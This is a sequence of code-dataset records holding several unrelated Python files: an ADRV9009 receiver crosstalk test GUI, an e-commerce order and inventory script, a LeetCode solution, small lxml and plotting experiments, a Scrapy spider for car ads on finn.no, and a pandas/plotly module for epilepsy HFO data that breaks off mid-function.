size=28),\n tickfont=dict(family='Arial', size=14), dtick=10, range = [50, 120]),\n barmode='group',\n legend=dict(\n #orientation=\"h\", x=0.0, y=-0.25,\n font=dict(family='sans-serif', size=18)),\n showlegend = True)\n\n data = [trace0]\n plotly.offline.plot({\"data\": data, \"layout\": layout}, auto_open=False,\n filename = os.path.join(dirname, 'Crosstalk/RX_to_RX/ADRV9009_FullBW_crosstalk_' + rx_channel.get() + '_n11dBm_rx_gain_' + rx_gain.get() + '.html'))\n\n data_saving()\n\ndef compute_noise_floor(fft_data):\n #global noise_floor\n\n avg_size = fft_data.size/2\n noise_floor = fft_data[0] / avg_size\n\n for i in range(1, int(avg_size/2)):\n if(fft_data[i] < (noise_floor + 2)):\n noise_floor += fft_data[i] / avg_size\n else:\n noise_floor += noise_floor / avg_size\n\n for i in range(int(3*avg_size/2), fft_data.size):\n if(fft_data[i] < (noise_floor + 2)):\n noise_floor += fft_data[i] / avg_size\n else:\n noise_floor += noise_floor / avg_size\n\n return noise_floor\n\ndef data_saving():\n data = {'Frequency(MHz):': save_freq, 'Magnitude(dB):': save_data, 'Noise Floor (dBFS):': save_noise, 'Number of Spurs:': save_spur_number, 'Max Spur (dBFS):': save_max_spur}\n\n df = pd.DataFrame(data)\n df.to_csv(os.path.join(dirname, 'Crosstalk/RX_to_RX/ADRV9009_FullBW_crosstalk_' + rx_channel.get() + '_n11dBm_rx_gain_' + rx_gain.get() + '.csv'), index = False, sep = ',')\n\n data1 = {'Spur Freq (MHz):': save_spur_freq, 'Spur Data (dBFS):':save_spur_data}\n df = pd.DataFrame(data1)\n df.to_csv(os.path.join(dirname, 'Crosstalk/RX_to_RX/ADRV9009_FullBW_spurs_' + rx_channel.get() + '_n11dBm_rx_gain_' + rx_gain.get() + '.csv'), index = False, sep = ',')\n\ndef check_connection(dev):\n if(dev == ERROR):\n txt1.config(fg = \"red\")\n txt1.insert('1.0', \"No Device Detected.\\n\\n\")\n return ERROR\n else:\n txt1.config(fg = 'black')\n txt1.insert('1.0', \"Device Connected.\\n\\n\")\n return SUCCESS\n\ndef check_freq(freq):\n if(freq[0][0] == ERROR):\n txt1.config(fg = 'red')\n txt1.delete('1.0', tk.END)\n txt1.insert('1.0', \"Please insert valid start/stop frequencies.\")\n return ERROR\n else:\n txt1.config(fg = \"black\")\n txt1.insert(tk.END, \"Start frequency set to: \" + str(freq[START_FREQ]/1e6) + \" MHz\\n\\n\")\n txt1.insert(tk.END, \"Stop frequency set to: \" + str(freq[STOP_FREQ]/1e6) + \" MHz\\n\\n\")\n return SUCCESS\n\ndef check_avg_nr():\n try:\n int(avg_nr.get())\n return SUCCESS\n except:\n txt1.config(fg = \"red\")\n txt1.insert(tk.END, \"Please insert valid average number.\")\n btn_text.set(\"Start\")\n btn_start.config(bg = \"lime green\")\n return ERROR\n\n#Sweep Button\ndef sweep():\n \n sweep_en.set(True)\n \n #Clear GUI Content\n clr_content()\n\n #Check connection\n if(check_connection(dev) == ERROR):\n return\n\n # Read and print Die Temperature\n die_temp() \n \n #compute center frequencies\n freq = comp_freq()\n\n #Check for valid input frequencies\n if(check_freq(freq) == ERROR):\n return\n \n #Check for valid average number \n if(check_avg_nr() == ERROR):\n return\n \n if(load_profile.get() == str(1)):\n configure_device()\n time.sleep(0.1)\n\n setup_device()\n\n if(gen_en.get() == True):\n connect_generator()\n time.sleep(0.1)\n\n get_plot_data(dev, freq[CENTER_FREQ])\n\n if(gen_en.get() == True):\n disconnect_generator()\n\n sweep_en.set(False)\n\ndef stop():\n stop.set(true)\n\n#Create GUI\ndef gui():\n \n global root, txt1, start_f, stop_f, btn_stop, btn_aq, gen_COM, tx_pow, rx_channel, load_profile, tone_offset, rx_gain, track_en\n global a, canvas, sweep_en, avg_nr, gen_en, stop\n \n root = tk.Tk()\n root.iconbitmap(\"favicon.ico\")\n root.title(\"ADRV9009_RX_testing (Analog Devices, Inc.)\")\n\n start_f = tk.StringVar()\n stop_f = tk.StringVar()\n avg_nr = tk.StringVar()\n sweep_en = tk.BooleanVar()\n gen_en = tk.BooleanVar()\n gen_COM = tk.StringVar()\n tx_pow = tk.StringVar()\n rx_channel = tk.StringVar()\n load_profile = tk.StringVar()\n tone_offset = tk.StringVar()\n rx_gain = tk.StringVar()\n stop = tk.BooleanVar()\n track_en = tk.BooleanVar()\n\n #default values\n rx_channel.set(\"RX1\")\n gen_COM.set(\"13\")\n tx_pow.set(\"-11\")\n start_f.set(\"101\")\n stop_f.set(\"6000\")\n avg_nr.set(\"64\")\n sweep_en.set(False)\n gen_en.set(False)\n load_profile.set(False)\n tone_offset.set(\"10\")\n rx_gain.set(\"30\")\n stop.set(False)\n track_en.set(False)\n\n fr1 = tk.Frame(root)\n fr1.pack(side = tk.LEFT, anchor = 'n', padx = 10, pady = 10)\n\n fr2 = tk.Frame(fr1)\n fr2.grid(row = 0, column = 0, pady = 10)\n\n label1 = tk.Label(fr2, text = \"Start frequency (MHz): \")\n label1.grid(row = 0, column = 0)\n\n\n entry1 = tk.Entry(fr2, textvariable=start_f)\n entry1.grid(row = 0, column = 1)\n\n label2 = tk.Label(fr2, text = \"Stop frequency (MHz): \")\n label2.grid(row = 1, column = 0, pady = (0,5))\n\n entry2 = tk.Entry(fr2, textvariable=stop_f)\n entry2.grid(row = 1, column = 1)\n \n label3 = tk.Label(fr2, text = \"Load Profile: \")\n label3.grid(row = 2, column = 0)\n\n check1 = tk.Checkbutton(fr2, variable=load_profile)\n check1.grid(row = 2, column = 1)\n \n label4 = tk.Label(fr2, text = \"Average: \")\n label4.grid(row = 3, column = 0)\n\n entry3 = tk.Entry(fr2, textvariable=avg_nr)\n entry3.grid(row = 3, column = 1)\n \n label5 = tk.Label(fr2, text = \"Enable Generator: \")\n label5.grid(row = 4, column = 0)\n\n check2 = tk.Checkbutton(fr2, variable=gen_en)\n check2.grid(row = 4, column = 1)\n\n label7 = tk.Label(fr2, text = \"Generator COM: \")\n label7.grid(row = 6, column = 0)\n\n entry4 = tk.Entry(fr2, textvariable=gen_COM)\n entry4.grid(row = 6, column = 1)\n\n label8 = tk.Label(fr2, text = \"TX Power [dBm]: \")\n label8.grid(row = 7, column = 0)\n\n entry5 = tk.Entry(fr2, textvariable=tx_pow)\n entry5.grid(row = 7, column = 1)\n\n label6 = tk.Label(fr2, text = \"Tone Offset [MHz]: \")\n label6.grid(row = 8, column = 0)\n\n entry7 = tk.Entry(fr2, textvariable=tone_offset)\n entry7.grid(row = 8, column = 1)\n\n label9 = tk.Label(fr2, text = \"RX Channel: \")\n label9.grid(row = 9, column = 0)\n\n entry6 = tk.Entry(fr2, textvariable=rx_channel)\n entry6.grid(row = 9, column = 1)\n\n label10 = tk.Label(fr2, text = \"RX Gain [dB]: \")\n label10.grid(row = 10, column = 0)\n\n entry8 = tk.Entry(fr2, textvariable=rx_gain)\n entry8.grid(row = 10, column = 1)\n\n label11 = tk.Label(fr2, text = \"Tracking Enable: \")\n label11.grid(row = 11, column = 0)\n\n check3 = tk.Checkbutton(fr2, variable=track_en)\n check3.grid(row = 11, column = 1)\n\n fr3 = tk.Frame(fr1)\n fr3.grid(row = 1, column = 0)\n\n btn_sweep = tk.Button(fr3, text=\"Single Sweep\", command=sweep)\n btn_sweep.config(width = 13, height = 1, bg = \"orange\")\n btn_sweep.grid(row = 0, column = 0, pady = (10,0))\n\n btn_stop = tk.Button(fr3, text=\"Stop\", command=stop)\n btn_stop.config(width = 13, height = 1, bg = \"lime green\")\n btn_stop.grid(row = 0, column = 1, pady = (10,0))\n\n btn_aq = tk.Button(fr3, text=\"Acq&Proc\")\n btn_aq.config(width = 13, height = 1, bg = \"grey\")\n btn_aq.grid(row = 1, column = 0, pady = (10,0))\n\n fr4 = tk.Frame(fr1)\n fr4.grid(row = 2, column = 0)\n \n label9 = tk.Label(fr4, text = \"Message Log: \")\n label9.grid(row = 0, column = 0)\n \n txt1 = tkscrolled.ScrolledText(fr4, width = 40, height = 20)\n txt1.grid(row = 1, column = 0)\n \n fig = plt.figure()\n DPI = fig.get_dpi()\n fig.set_size_inches(1024.0/float(DPI), 640.0/float(DPI)) \n a = fig.add_subplot(111)\n a.grid(True)\n a.set_title('Frequency Spectrum')\n a.set_xlabel('Fequency (MHz)')\n a.set_ylabel('Magnitude')\n plt.tight_layout()\n plotFrame = tk.Frame(master=root)\n plotFrame.pack(side = tk.LEFT, pady = 10, padx = 10, anchor = 'n')\n\n toolbarFrame = tk.Frame(master=plotFrame)\n toolbarFrame.pack(anchor = 'w', pady = (0,10))\n \n canvas = FigureCanvasTkAgg(fig, master=plotFrame)\n canvas.get_tk_widget().pack(fill = tk.BOTH)\n canvas.draw()\n root.update_idletasks()\n\n toolbar = NavigationToolbar2TkAgg(canvas, toolbarFrame)\n toolbar.update()\n \n root.mainloop()\n\n#main function\ndef main():\n\n global dev\n\n #connect device\n dev = connect_device()\n\n configure_device()\n gui()\n\nmain()","sub_path":"ADRV9009_test_scripts/ADRV9009_crosstalk_RX.py","file_name":"ADRV9009_crosstalk_RX.py","file_ext":"py","file_size_in_byte":28358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"101217663","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# @Time : 2020-07-04 19:47\n# @Author : NingAnMe \nimport argparse\nfrom dateutil.relativedelta import relativedelta\n\nfrom lib.config import *\nfrom lib.dbkucun import *\nfrom lib.dbyingxiao import *\nfrom lib.path import *\n\n\ndef order_add(order_file, dt_s, dt_e):\n \"\"\"\n 将订单文件导入数据库\n :param order_file: csv文件\n :param dt_s: 发货时间-开始时间\n :param dt_e: 发货时间-结束时间\n :return:\n \"\"\"\n orders = PddOrder.csv2order(order_file)\n if len(orders) <= 0:\n print('没有有效的订单')\n return -1\n orders_filter_by_datetime = list()\n for order in orders:\n if dt_s <= order['fahuoshijian'] <= dt_e:\n orders_filter_by_datetime.append(order)\n\n if len(orders_filter_by_datetime) <= 0:\n print(f'没有有效的订单:{dt_s} to {dt_e}')\n return -1\n\n # 剔除已经录入的订单\n # 找到数据库里面这个时间范围的订单\n with session_scope() as session:\n orders_db = PddOrder.query_fahuoshijian(session, dt_s, dt_e)\n\n # 剔除已经录入的订单\n dingdanhao_db = set()\n if orders_db is not None:\n for order in orders_db:\n dingdanhao_db.add(order.dingdanhao)\n\n orders_filter = list()\n for order in orders_filter_by_datetime:\n if order[\"dingdanhao\"] not in dingdanhao_db:\n orders_filter.append(order)\n\n print(f\"有效订单数量:{len(orders_filter)}\")\n\n # 将过滤以后的订单入库\n with session_scope() as session:\n PddOrder.add(session, orders_filter)\n print(\"success\")\n\n\ndef goods_qukucun(dingdanhao):\n with session_scope() as session:\n order = PddOrder.query_dingdanhao(session, dingdanhao)\n if order is None or order.shifouqukucun == '是':\n return\n\n skubianma = order.skubianma\n sku = PddSku.query_bianma(session, skubianma)\n if sku is None:\n print(f\"没有对应的sku:{skubianma}\")\n return\n\n # 获取商品和商品需要减少的数量\n jianshu = order.shangpinshuliang\n for goods in sku.goods:\n goods.goods.shuliang -= goods.shuliang * jianshu\n order.shifouqukucun = '是'\n return True\n\n\ndef goods_detail_add(json_data, dt):\n datas = PddGoodsDetail.json2data(json_data)\n with session_scope() as session:\n result = PddGoodsDetail.query_datetime(session, dt)\n ids = set()\n for row in result:\n ids.add(row.goodsId)\n datas_filter = list()\n for i in datas:\n if str(i['goodsId']) not in ids:\n datas_filter.append(i)\n PddGoodsDetail.add(session, datas_filter)\n print(f\"goods_detail_add Success: {len(datas_filter)}\")\n\n\ndef ad_unit_add(json_data, dt, ad_type):\n datas = PddAdUnit.json2data(json_data, dt, ad_type)\n with session_scope() as session:\n result = PddAdUnit.query_datetime(session, dt)\n ids = set()\n for row in result:\n if row.adType == ad_type:\n ids.add(row.adId)\n datas_filter = list()\n for i in datas:\n if str(i['adId']) not in ids:\n datas_filter.append(i)\n PddAdUnit.add(session, datas_filter)\n print(f\"ad_unit_add Success: {ad_type} 处理数据量:{len(datas_filter)}\")\n\n\ndef deal_paid_free_order(dt):\n PddGoodsDetail.paid_free_order(dt)\n\n\n# def goods_detail_add(dt_s, dt_e):\n# if dt_s == dt_e:\n# dt_e = dt_e + relativedelta(days=1) - relativedelta(minutes=1)\n#\n# count = 0\n# with session_scope() as session:\n# orders = PddOrder.query_fahuoshijian(session, datetime_start=dt_s, datetime_end=dt_e)\n# print(f'本次有效订单数量:{len(orders)}')\n#\n# goods_xiaoliang = defaultdict(int)\n# for order in orders:\n# skubianma = order.skubianma\n# sku = PddSku.query_bianma(session, skubianma)\n# if sku is None:\n# print(f\"没有对应的sku:{skubianma}\")\n# continue\n#\n# # 获取商品和商品需要减少的数量\n# jianshu = order.shangpinshuliang\n# for goods in sku.goods:\n# goods_xiaoliang[goods.goods.bianma] += goods.shuliang * jianshu\n# count += 1\n# print(f'本次处理订单数量: {count}')\n# goods_details = list()\n# for k, v in goods_xiaoliang.items():\n# goods_details.append({\n# 'statDate': dt_s,\n# 'bianma': k,\n# 'xiaoliang': v,\n# })\n# GoodsDetail.add(session, goods_details)\n\n\ndef goods_qukucun_datetime(dt_s, dt_e):\n if dt_s == dt_e:\n dt_e = dt_e + relativedelta(days=1) - relativedelta(minutes=1)\n dingdanhaos = list()\n with session_scope() as session:\n orders = PddOrder.query_fahuoshijian(session, datetime_start=dt_s, datetime_end=dt_e)\n print(f'总订单数量:{len(orders)}')\n for order in orders:\n if order.shifouqukucun != '是':\n dingdanhaos.append(order.dingdanhao)\n print(f'本次有效订单数量:{len(dingdanhaos)}')\n count = 0\n for dingdanhao in dingdanhaos:\n r = goods_qukucun(dingdanhao)\n if r:\n count += 1\n print(f'本次处理订单数量: {count}')\n\n\ndef order_file_ruku_datetime(dt_s, dt_e):\n print(dt_s, dt_e)\n order_files = os.listdir(order_file_path)\n order_files.sort()\n while dt_s <= dt_e:\n dt_tmp_s = dt_s\n dt_tmp_e = dt_tmp_s + relativedelta(days=1) - relativedelta(seconds=1)\n dt_str = dt_tmp_s.strftime('%Y-%m-%d')\n # 处理订单并入库\n order_file = None\n for filename in order_files:\n if (\"orders_export\" + dt_str) in filename:\n order_file = os.path.join(order_file_path, filename)\n if order_file is not None:\n print(f'订单文件:{order_file}')\n order_add(order_file, dt_tmp_s, dt_tmp_e)\n dt_s += relativedelta(days=1)\n\n\ndef detail_file_ruku_datetime(dt_s, dt_e):\n json_data_files = os.listdir(json_file_path)\n json_data_files.sort()\n\n while dt_s <= dt_e:\n dt_tmp = dt_s\n dt_str = dt_tmp.strftime('%Y-%m-%d')\n dt = datetime.strptime(dt_str, \"%Y-%m-%d\")\n\n # 添加营销数据\n for filename in json_data_files:\n if dt_str in filename:\n json_data_file = os.path.join(json_file_path, filename)\n # 添加商品销售数据\n if 'detail' in filename:\n goods_detail_add(json_data_file, dt)\n\n # 添加搜索推广数据\n if 'search' in filename:\n ad_unit_add(json_data_file, dt, 'search')\n\n # 添加场景推广数据\n if 'scene' in filename:\n ad_unit_add(json_data_file, dt, 'scene')\n\n # 处理付费订单和免费数量\n deal_paid_free_order(dt)\n dt_s += relativedelta(days=1)\n\n\ndef set_all_order_qu_ku_cun_yes(dt_s, dt_e):\n # 将所有订单的状态设置为去库存\n with session_scope() as session:\n orders = session.query(PddOrder).filter(PddOrder.fahuoshijian >= dt_s,\n PddOrder.fahuoshijian <= dt_e,\n PddOrder.shifouqukucun != '是').all()\n for order in orders:\n order.shifouqukucun = '是'\n print(f\"set_all_order_qu_ku_cun Success: 处理数据量:{len(orders)}\")\n\n\ndef set_all_order_qu_ku_cun_no(dt_s, dt_e):\n # 将所有订单的状态设置为去库存\n with session_scope() as session:\n orders = session.query(PddOrder).filter(PddOrder.fahuoshijian >= dt_s,\n PddOrder.fahuoshijian <= dt_e,\n PddOrder.shifouqukucun != '否').all()\n for order in orders:\n order.shifouqukucun = '否'\n print(f\"set_all_order_qu_ku_cun Success: 处理数据量:{len(orders)}\")\n\n\nif __name__ == '__main__':\n # ######################### 业务运行 ###################################\n parser = argparse.ArgumentParser(description='地外太阳能数据生产工具')\n parser.add_argument('--addOrder', help='处理订单文件,数据入库')\n parser.add_argument('--quKuCun', help='销库存')\n parser.add_argument('--addGoodsDetail', help='处理营销Json文件,数据入库')\n parser.add_argument('--date', help='开始时间(北京时),YYYY-mm-dd(2019-01-01)')\n parser.add_argument('--dateStart', '-s', help='开始时间(北京时),YYYY-mm-dd(2019-01-01)')\n parser.add_argument('--dateEnd', '-e', help='结束时间(北京时),YYYY-mm-dd(2019-01-01)')\n parser.add_argument('--setAllOrderQuKuCunYes', help='将所有的订单状态设置为去库存', default=False)\n parser.add_argument('--setAllOrderQuKuCunNo', help='将所有的订单状态设置为去库存', default=False)\n parser.add_argument('--debug', help='是否DEBUG', default=False)\n parser.add_argument('--test', help='是否TEST', default=False)\n args = parser.parse_args()\n\n datetime_ = None\n if args.date is not None:\n datetime_ = datetime.strptime(args.date, '%Y-%m-%d')\n\n if args.date is not None and args.dateStart is None:\n args.dateStart = args.date\n\n datetime_s = datetime_e = None\n if args.dateStart is not None:\n datetime_s = datetime.strptime(args.dateStart, '%Y-%m-%d')\n if args.dateEnd is not None:\n datetime_e = datetime.strptime(args.dateEnd, '%Y-%m-%d')\n else:\n datetime_e = datetime_s\n\n # 处理订单文件\n if args.addOrder:\n print(f'addOrder: {args.addOrder}')\n order_file_ruku_datetime(datetime_s, datetime_e)\n\n # 销库存\n if args.quKuCun:\n goods_qukucun_datetime(datetime_s, datetime_e)\n\n # 营销数据入库且处理\n if args.addGoodsDetail:\n detail_file_ruku_datetime(datetime_s, datetime_e)\n\n # 将所有订单的状态设置为已经去库存的状态'是'\n if args.setAllOrderQuKuCunYes:\n set_all_order_qu_ku_cun_yes(datetime_s, datetime_e)\n\n # 将所有订单的状态设置为已经去库存的状态’否‘\n if args.setAllOrderQuKuCunNo:\n set_all_order_qu_ku_cun_no(datetime_s, datetime_e)\n\n # 销量统计\n goods_xiaoliang_tongji(datetime_s, datetime_e)\n","sub_path":"business.py","file_name":"business.py","file_ext":"py","file_size_in_byte":10571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"189171903","text":"# 1290. Convert Binary Number in a Linked List to Integer\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def getDecimalValue(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: int\n \"\"\"\n n = 0\n cur = head\n while cur != None:\n cur = cur.next\n n += 1\n \n number = 0\n while head != None:\n number += head.val * 2**(n-1)\n n = n - 1\n head = head.next\n return number\n","sub_path":"easy/1290.py","file_name":"1290.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"71661290","text":"from lxml import etree as ET\nfrom copy import deepcopy\n\n\ndef create_body():\n return ET.Element(\"body\")\n\n\nxml_body = ET.Element(\"body\")\nprint(xml_body)\n\n\ndef create_div(body, act):\n div = ET.SubElement(body, \"div\")\n div.set(\"act\", act)\n sp = ET.SubElement(div, \"sp\")\n sp.text = \"stuff\"\n\n\ncreate_div(xml_body, \"1\")\n\nxml_sp = ET.Element(\"sp\")\nspeaker = ET.SubElement(xml_sp, \"speaker\")\nspeaker.text = \"Jean\"\np = ET.SubElement(xml_sp, 'p')\np.text = \"Ta mère en slip\"\np = ET.SubElement(xml_sp, 'p')\np.text = \"ta mere a poil\"\nprint(ET.tostring(xml_sp))\n\n\ndef combine_xmltree_element(element_1, element_2):\n \"\"\"\n Recursively combines the given two xmltree elements. Common properties will be overridden by values of those\n properties in element_2.\n\n :param element_1: A xml Element\n :type element_1: L{Element}\n\n :param element_2: A xml Element\n :type element_2: L{Element}\n\n :return: A xml element with properties combined.\n \"\"\"\n\n if element_1 is None:\n return element_2.copy()\n\n if element_2 is None:\n return element_1.copy()\n\n if element_1.tag != element_2.tag:\n raise TypeError(\n \"The two XMLtree elements of type {t1} and {t2} cannot be combined\".format(\n t1=element_1.tag,\n t2=element_2.tag\n )\n )\n\n combined_element = ET.Element(tag=element_1.tag, attrib=element_1.attrib)\n combined_element.attrib.update(element_2.attrib)\n\n # Create a mapping from tag name to child element\n element_1_child_mapping = {child.tag: child for child in element_1}\n element_2_child_mapping = {child.tag: child for child in element_2}\n\n for child in element_1:\n if child.tag not in element_2_child_mapping:\n combined_element.append(child.copy())\n\n for child in element_2:\n if child.tag not in element_1_child_mapping:\n combined_element.append(child.copy())\n\n else:\n if len(child) == 0: # Leaf element\n combined_child = element_1_child_mapping[child.tag].copy()\n combined_child.text = child.text\n combined_child.attrib.update(child.attrib)\n\n else:\n # Recursively process the element, and update it in the same way\n combined_child = combine_xmltree_element(\n element_1_child_mapping[child.tag], child)\n\n combined_element.append(combined_child)\n\n return combined_element\n\n\nprint(xml_sp.tag)\n","sub_path":"test_tree.py","file_name":"test_tree.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"232210832","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef gaussian(mu,sig,val):\n coef = 1.0/(sig*np.sqrt(2*np.pi))\n main = np.exp(-1*((val-mu)/(2*sig))**2)\n return coef*main\n\n\ndef quad(x,a,b,c):\n return a*x**2+b*x+c\n\n# Get \"observed\" quadratic\n# parameters for \"observed\" quadratic function\na = 0.3\nb = -1.8\nc = 1.8\nstp = 0.5\nx = np.arange(start=0,stop=10+stp,step=stp)\nvquad = np.vectorize(lambda x: quad(x,a,b,c))\ny = vquad(x)\n\ndef obsquad(ax=plt.gca()):\n spread = 1.5\n for _ in range(4):\n ax.plot(x,y+spread*np.random.randn(len(x)),linestyle='None',marker='o',c='blue',mfc='None')\n ax.set_xlabel('\"Input\" Variable')\n ax.set_ylabel('\"Response\" Variable')\n\ndef vobsquad(ax=plt.gca()):\n obsquad(ax)\n ax.plot(x,vquad(x),color='green')\n","sub_path":"whitty_meeting/quad.py","file_name":"quad.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"549152300","text":"import scrapy\r\nimport re\r\n\r\n\r\nclass FinnSpider(scrapy.Spider):\r\n \"\"\"Run 'scrapy crawl properties' in virtualenv\"\"\"\r\n allowed_domains = ['finn.no']\r\n name = \"FinnSpider\"\r\n\r\n # V70\r\n # start_urls = [\"https://www.finn.no/car/used/search.html?filters=&make=0.818&model=1.818.3077\"] \r\n\r\n # XC70\r\n # start_urls = [\"https://www.finn.no/car/used/search.html?filters=&make=0.818&model=1.818.7781\"]\r\n # start_urls = []\r\n\r\n def parse(self, response):\r\n ''' \r\n This method, as well as any other Request callback, must return an\r\n iterable of Request and/or dicts or Item objects.\r\n '''\r\n\r\n for ad_data, ad_title in zip(response.css('div.ads__unit__content__keys'), response.css('h2.ads__unit__content__title')):\r\n keys = ad_data.css('*::text').getall()\r\n title = ad_title.css('*::text').getall()\r\n\r\n if len(keys) > 1:\r\n item = dict()\r\n # parse year, remove non-numbers\r\n item['year'] = re.sub('[^0-9]', \"\", keys[0])\r\n # parse mileage, remove non-numbers\r\n item['mileage'] = re.sub('[^0-9]', \"\", keys[1])\r\n # parse price, remove non-numbers\r\n item['price'] = re.sub('[^0-9]', \"\", keys[2])\r\n\r\n try:\r\n # convert to integers\r\n item['year'] = int(item['year'])\r\n item['mileage'] = int(item['mileage'])\r\n item['price'] = int(item['price'])\r\n\r\n except ValueError:\r\n continue\r\n\r\n item['title'] = title[0]\r\n\r\n yield item\r\n\r\n for a in response.css('a.button--icon-right'):\r\n print('RESPONSE: ', a)\r\n yield response.follow(a, callback=self.parse)\r\n","sub_path":"properties/spiders/finn_spider.py","file_name":"finn_spider.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"458950856","text":"#!/usr/bin/env python3\n\nimport pandas as pd\nimport plotly.graph_objects as go\nfrom scipy.io import loadmat\n\ndef load_panda():\n d=pd.read_csv('excel/hfos_clean.csv')\n labels=[i for i in d]\n return d[labels[1:]]\n\ndef needles_list(patient=None, all=False):\n d=load_panda()\n if patient!=None:\n d=d.loc[d['Patient']==patient]\n res=[]\n if all:\n res.append('All')\n for e in d['Channel']:\n ee=''.join(filter(str.isalpha, e))\n if ee not in res:\n res.append(ee)\n return res\n\ndef pand():\n out,noOut= 0,0\n d=load_panda()\n #print(data[data.columns[0]])\n #print(data)\n for e in d['Zone']:\n if 'Outside' in e:\n out +=1\n else:\n noOut +=1\n total=out+noOut\n print(out, noOut, total)\n\ndef patients():\n d=load_panda()\n patients_list=[]\n for patient in d['Patient']:\n if patient not in patients_list:\n patients_list.append(patient)\n return patients_list\n\ndef pand_sensores(selected_patient):\n dic={}\n d=load_panda()\n for amplitude, patient, channel in zip(d['Amplitude'],d['Patient'],d['Channel']):\n if selected_patient in patient:\n if channel in dic:\n dic[channel].append(amplitude)\n else:\n dic[channel] = [amplitude]\n #print(dic, len(dic))\n return dic\n\ndef dic_to_data(d):\n x=[]\n y=[]\n for sensor in d:\n x.append(sensor)\n median=sum([float(e) for e in d[sensor]])/len(d[sensor])\n y.append(median)\n return x,y\n\ndef multiplot_soz1(selected_patient, *args):\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n dic={'Zone':[]}\n for zone in filtered_d['Zone']:\n if 'Outside' in zone:\n dic['Zone'].append(0)\n else:\n dic['Zone'].append(1) \n for e in args:\n dic[e]=[]\n for row_zone, row_e in zip(filtered_d['Zone'], filtered_d[e]):\n if 'Propagation' in row_zone:\n pass\n else:\n dic[e].append(row_e)\n return dic\n\n\ndef multiplot_soz(selected_patient, selector, args):\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n needles=needles_list(selected_patient)\n a=[]\n res=[]\n if selector != 'needles':\n for e in d[selector]:\n if e not in a:\n d={0:e}\n for h in args:\n d[h]=[]\n res.append(d)\n a.append(e)\n else:\n for e in needles:\n d={0:e}\n for h in args:\n d[h]=[]\n res.append(d)\n for y in args:\n for e in res:\n if selector != 'needles':\n for row_selector, row_e in zip(filtered_d[selector], filtered_d[y]):\n if row_selector == e[0]:\n e[y].append(row_e)\n else:\n for row_selector, row_e in zip(filtered_d['Channel'], filtered_d[y]):\n if e[0]==''.join(filter(str.isalpha, row_selector)):\n e[y].append(row_e)\n return res\n\ndef mp(selected_patient, selector, values):\n x=multiplot_soz(selected_patient, selector, values)\n data=[]\n for e in x:\n d=go.Splom(\n dimensions=[dict(label=k,values=e[k]) for k in e if k != 0],\n name=e[0],\n marker=dict(size=4),\n diagonal=dict(visible=False))\n data.append(d)\n layout=go.Layout(title=\"Multiplot prove\", dragmode='select', hovermode='closest', showlegend=True)\n fig=go.Figure(data=data,layout=layout)\n return fig\n\ndef scatter_soz(selected_patient, selector, args): #args=[x,y]\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n needles=needles_list(selected_patient)\n a=[]\n res=[]\n if selector != 'needles':\n for e in d[selector]:\n if e not in a:\n res.append({0:e, 'x':[], 'y':[]})\n a.append(e)\n else:\n for e in needles:\n res.append({0:e, 'x':[], 'y':[]})\n for e in res:\n if selector != 'needles':\n for row_selector, row_x, row_y in zip(filtered_d[selector], filtered_d[args[0]], filtered_d[args[1]]):\n if row_selector == e[0]:\n e['x'].append(row_x)\n e['y'].append(row_y)\n else:\n for row_selector, row_x, row_y in zip(filtered_d['Channel'], filtered_d[args[0]], filtered_d[args[1]]):\n if e[0]==''.join(filter(str.isalpha, row_selector)):\n e['x'].append(row_x)\n e['y'].append(row_y)\n return res\n\ndef scatter(selected_patient, selector, values):\n x=scatter_soz(selected_patient, selector, values)\n data=[]\n for e in x:\n d=go.Scatter(\n x=e['x'],\n y=e['y'],\n name=e[0],\n mode='markers',\n marker=dict(size=4))\n data.append(d)\n layout=go.Layout(title=\"Scatterplot prove\", hovermode='closest', showlegend=True, xaxis_title=values[0], yaxis_title=values[1])\n fig=go.Figure(data=data, layout=layout)\n return fig\n\ndef histogram_soz(selected_patient, selector, args): #args=[x,y]\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n needles=needles_list(selected_patient)\n a=[]\n res=[]\n if selector != 'needles':\n for e in d[selector]:\n if e not in a:\n res.append({0:e, 'd':[], 'len':0})\n a.append(e)\n else:\n for e in needles:\n res.append({0:e, 'd':[], 'len':0})\n for e in res:\n if selector != 'needles':\n for row_selector, row_e in zip(filtered_d[selector], filtered_d[args]):\n if row_selector == e[0]:\n e['d'].append(row_e)\n else:\n for row_selector, row_e in zip(filtered_d['Channel'], filtered_d[args]):\n if e[0]==''.join(filter(str.isalpha, row_selector)):\n e['d'].append(row_e)\n for e in res:\n e['len']=len(e['d'])\n res.sort(key= lambda i: i['len'], reverse=True)\n return res\n\ndef histogram(selected_patient, selector, value):\n x=histogram_soz(selected_patient, selector, value)\n data=[]\n for e in x:\n d=go.Histogram(\n x=e['d'],\n name=e[0],\n opacity=0.75,\n bingroup=1)\n data.append(d)\n layout=go.Layout(title_text=\"Histogram prove\", showlegend=True, xaxis_title_text=value, yaxis_title_text='Count', barmode='overlay')\n fig=go.Figure(data=data, layout=layout)\n return fig\n\ndef heatmap():\n mat = loadmat('excel/data.mat')\n mat_data = mat['stockwell']\n data=go.Heatmap(\n z=mat_data\n )\n layout=go.Layout(title_text=\"Heatmap prove\", showlegend=True, xaxis_title_text='X-axis', yaxis_title_text='Y-axis')\n fig=go.Figure(data=data, layout=layout)\n return fig\n\ndef scatter3d_soz(selected_patient, 